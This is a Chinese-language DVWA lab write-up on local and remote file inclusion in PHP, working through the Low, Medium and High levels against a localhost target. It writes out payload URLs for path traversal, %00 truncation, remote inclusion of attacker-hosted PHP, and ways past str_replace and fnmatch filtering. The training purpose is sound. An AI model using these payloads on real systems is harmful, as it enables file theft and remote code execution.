本系列文集:DVWA學習筆記
檔案包含漏洞,是指當伺服器開啟allow_url_include選項時,就可以通過php的某些特性include(),require(),include_once(),require_once()利用url去動态包含檔案,此時如果沒有對檔案來源進行嚴格審查,就會導緻任意檔案讀取或者任意指令執行。檔案包含漏洞分為本地檔案包含漏洞與遠端檔案包含漏洞,遠端檔案包含漏洞是因為開啟了php配置中的allow_url_fopen選項(選項開啟之後,伺服器允許包含一個遠端的檔案)。
檔案包含分類:
LFI:本地檔案包含(Local File Inclusion)
RFI:遠端檔案包含(Remote File Inclusion)
與檔案包含有關的函數:
include():隻有代碼執行到該函數時才會包含檔案進來,發生錯誤時隻給出一個警告并繼續向下執行。
include_once():和 include()功能相同,差別在于當重複調用同一檔案時,程式隻調用一次。
require():隻要程式執行就包含檔案進來,發生錯誤時會輸出錯誤結果并終止運作。
require_once():和 require()功能相同,差別在于當重複調用同一檔案時,程式隻調用一次。
相關的 php.ini 配置參數:
allow_url_fopen = on (預設開啟)
allow_url_include = on (預設關閉)
遠端檔案包含是因為開啟了 php 配置中的 allow_url_fopen 選項(選項開啟之後,伺服器允許包含一個遠端的檔案)。
###Low:
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsICM0ITMvw1dvwlMvwlM3VWaWV2Zh1WaDdTJwlmc0N3LcRnbllmcv1yb0VXYvwlMyd2bNV2Zh1Wa-cmbw5iY5YjMyUGN4MGM5ETN5UWMtkTM3gDNxATMvw1cldWYtl2XkF2bsBXdvw1bp5SdoNnbhlmauMXZnFWbp1CZh9GbwV3Lc9CX6MHc0RHaiojIsJye.png)
分析:
伺服器端對page參數沒有做任何的過濾跟檢查。
伺服器期望使用者的操作是點選下面的三個連結,伺服器會包含相應的檔案,并将結果傳回。
tips:伺服器包含檔案時,不管檔案字尾是否是php,都會嘗試當做php檔案執行,如果檔案内容确為php,則會正常執行并傳回結果,如果不是,則會原封不動地列印檔案内容,是以檔案包含漏洞常常會導緻任意檔案讀取與任意指令執行。現實中,惡意的攻擊者是不會乖乖點選這些連結的,是以page參數是不可控的。
點選file1.php,觀察到url為:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file1.php
Exploit
1.本地檔案包含
構造url:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=/etc/shadow
現報錯資訊,顯示沒有這個檔案,說明不是伺服器系統不是Linux,但同時暴露了伺服器檔案的絕對路徑D:\phpStudy\PHPTutorial\WWW\DVWA-1.9\
構造url(絕對路徑):
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini
成功讀取了伺服器的php.ini檔案。
構造url(相對路徑):
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../DVWA-1.9/php.ini
加這麼多…\是為了保證到達伺服器的D盤根目錄,可以看到讀取是成功的。
讀取phpstudy探針檔案進行資訊搜集
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../../WWW/l.php
同時在讀取上面的php.ini檔案時,我們看到,配置檔案中的magic_quote_gpc選項為off。
在php版本小于5.3.4的伺服器中,當magic_quote_gpc選項為off時,我們可以在檔案名中使用%00進行截斷,也就是說檔案名中%00後的内容不會被識别,即下面兩個url是完全等效的。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../dvwa/php.ini
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../dvwa/php.ini%002
2.遠端檔案包含
當伺服器的php配置中,選項allow_url_fopen與allow_url_include為開啟狀态時,伺服器會允許包含遠端伺服器上的檔案。如果對檔案來源沒有檢查的話,就容易導緻任意遠端代碼執行。
在遠端伺服器192.168.0.20上傳一個phpinfo.txt檔案,内容如下:
<?php phpinfo();?>
構造以下url,成功在伺服器上執行了phpinfo()函數。
127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=http://192.168.0.20/phpinfo.txt
###Medium :
str_replace(find,replace,string,count)
eg:
把字元串 "Hello world!" 中的字元 "world" 替換為 "Shanghai":
<?php
echo str_replace("world","Shanghai","Hello world!");
?>
分析:
增加了str_replace函數,将以下字元串替換為空。
【http://】,【https://】 ,【../】 , 【..\】
Exploit
使用str_replace函數是極不安全的,可以使用雙寫繞過替換規則。
例如page=htthttp://p://192.168.0.20/phpinfo.txt時,str_replace函數會将http://删除,于是page=http://192.168.0.20/phpinfo.txt,成功執行遠端指令。
同時,因為替換的隻是…/、…\,是以對采用絕對路徑的方式包含檔案是不會受到任何限制的。
1.本地檔案包含
絕對路徑不受任何影響,讀取配置檔案成功。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini
相對路徑的利用以下payload,讀取配置檔案成功。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=..././..././..././DVWA-1.9/php.ini
2.遠端檔案包含
構造以下payload,遠端執行指令成功。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=htthttp://p://192.168.0.20/phpinfo.txt
###High:
分析:
High 的代碼使用了fnmatch()函數檢查page參數,要求page參數的開頭必須是file,伺服器才會去包含相應的檔案。
Exploit
High 的代碼規定隻能包含file開頭的檔案,看似安全,不幸的是我們依然可以利用file協定繞過防護政策。
Tips:因為 fnmatch 函數适用于 PHP >= 4.3.0,是以 php 版本高于這個才能利用,否則會出現打不開 high 等級頁面。
構造如下url,成功讀取了伺服器的配置檔案。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file://D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini
至于執行任意指令,需要配合檔案上傳漏洞利用。首先需要上傳一個内容為php的檔案,然後再利用file協定去包含上傳檔案(需要知道上傳檔案的絕對路徑),進而實作任意指令執行。